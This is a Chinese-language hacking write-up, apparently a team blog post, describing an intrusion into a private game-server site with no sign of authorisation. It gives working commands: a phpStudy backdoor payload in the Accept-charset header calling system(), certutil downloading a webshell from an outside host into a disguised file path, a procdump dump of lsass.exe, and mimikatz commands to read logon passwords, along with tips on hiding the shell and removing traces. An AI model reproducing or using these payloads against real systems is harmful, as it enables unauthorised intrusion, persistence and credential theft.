本文来自未命名安全团队内部小组原创分享,未经授权禁止转载.
目标地址:http://xxx.com:86/cj/selectQu.php
风和日丽的一个下午,好基友突然发了一个私服的网站,说搞不下来,我打开网页看了一下,网页十分简单,功能点不多,仅仅只有一个登录框,而且还没办法注册,不好看,随手测了下有无Post注入,单引号大法,结果是没有的。没啥功能点确实是不太好搞,信息收集一波。
(未命名安全团队取证过程截图)
收集网站IP、系统、容器脚本、旁站子域名、端口、目录等信息
(未命名安全团队取证过程截图)
在线没有收集到子域名旁站,抱着试试看的心态用fofa,sadan看能否找到可用信息,结果是没有的,小站很少被收录到。
访问一些可能存在的敏感文件robots.txt,sitemap.xml等,结果也是没有滴
扫目录的时候结果发现是有WAF的,我日。。。像这些小站特别喜欢上WAF,不用白不用的心态。
测试注入的时候没拦,扫目录却拦了,啥WAF
尝试nmap扫端口也被拦了。。。
没办法,只能手动访问判断一些常用端口,像3306、3389、8080、8081、9999端口等
判断网站是apache+php,那么绝大可能是mysql数据库开个3306的端口
当访问到8080端口的时候,咦有新收获,发现一个旁站,是一个注册页面,初步判断不是刚在主站的注册页面,很可能是其它私服的注册,见到登录框就想测试注入,嘿嘿...
(未命名安全团队取证过程截图)
抓包走起。。。
加个单引号报错了,有戏,而且还是前阵子爆出后门的php5.4.45的版本
(未命名安全团队取证过程截图)
既然是apache+php+mysql组合,猜测是phpstudy搭建的,还是个可能有后门的phpstudy,还试个毛注入,肯定先试后门直接可以getshell,看不懂后门自行百度,复现
很简单
我日,这玩意真的有后门,哈哈,getshell了。
(未命名安全团队取证过程截图)
可执行任何cmd命令,远程下载后门到对方服务器
certutil -urlcache -split -f http://xxx.xxx.com/CONN.txt
尝试几条下载命令都不行,而我可能需要绝对路径,本地测试命令不加绝对路径会默认下载到执行cmd目录,获取目录最简单粗暴的方法就是加符号或者不存在的目录让页面报错,嘿嘿,结果是ThinkPHP cms,这个cms的一个特点就是只要页面报错,80%可能性会把路径爆出来...
(未命名安全团队取证过程截图)
执行远程下载命令
Accept-Encoding: gzip,deflate
......
Accept-charset: system('certutil -urlcache -split -f http://xxx.xxx.com/conn.php D:\mt3\phpStudy\xxx.com\ThinkPHP\Library\Think\Db\databasee.php');
(未命名安全团队取证过程截图)
下载后的木马要善于伪装,不用轻易让管理员查到,一般可以命名网站的配置文件、数据库文件等。
而且遇到一个坑卡了很久,大马进不去,密码是本地测试过是对的,无论输入多少次都是卡在这个页面,也换过其它大马测试也是这样。后来是实在搞不明白去请教前辈,告诉我远程下载的原理是目标服务器去访问我们大马去下载,而服务器只会把访问到前端页面的代码文件下载到电脑,服务器访问就是以下图的页面,所以大马的其它代码没有被下载到,只被下载到这个前端页面。解决的办法就是把大马文件改成txt,这样服务器访问就可以把完整大马代码给下载到,只要下指定绝对路径时改成php脚本就可以正常运行大马了。
Accept-Encoding: gzip,deflate
......
Accept-charset: system('certutil -urlcache -split -f http://xxx.xxx.com/conn.txt D:\mt3\phpStudy\xxx.com\ThinkPHP\Library\Think\Db\databasee.php');
(未命名安全团队取证过程截图)
成功进去之后,也是要信息收集一波,系统、版本、补丁情况、权限、端口开放情况、ip、运行的服务、进程(waf、杀毒)、数据库账号密码、管理员上次在线时间、3389等,防止被管理员撞见就凉凉。。。
(未命名安全团队取证过程截图)
查看进程是有个360的和一个不知名waf的,也是新装的服务器,看样子是准备随时跑路
踏破铁鞋无觅处,得来全不费工夫,哈哈
翻目录时找到管理员留底的数据库路径文件,找到数据库账号密码
'DB_NAME' => 'xx',// 数据库名称
'DB_USER' => 'root',// 数据库用户名
'DB_PWD' => 'xxx',// 数据库密码
(未命名安全团队取证过程截图)
权限已经是administrator,所以就无需提权了,要连接对方3389最安全的办法不会去创建用户去添加管理员,而是把对面服务器的账号密码读取出来,但我上次mimikatz是被360给杀了,还好有微软白名单的procdump,嘿嘿
上传procdump.exe读明文密码
D:/mt3/phpStudy/xxx.com/ThinkPHP/Library/Think/Db/procdump.exe -accepteula -ma lsass.exe lsass.dmp
(未命名安全团队取证过程截图)
下载到本地文件(记得把留下的文件删除掉)
把lsass.dmp放入mimikatz
执行命令即可
privilege::debug 提升权限
sekurlsa::minidump lsass.dmp 指定文件
sekurlsa::logonpasswords 读取密码